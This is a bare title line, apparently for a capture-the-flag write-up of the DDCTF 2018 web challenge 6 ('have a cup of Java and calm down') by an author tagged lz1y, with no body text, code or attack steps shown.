DDCTF2018 WEB6 喝杯JAVA冷静下 WRITEUP【lz1y】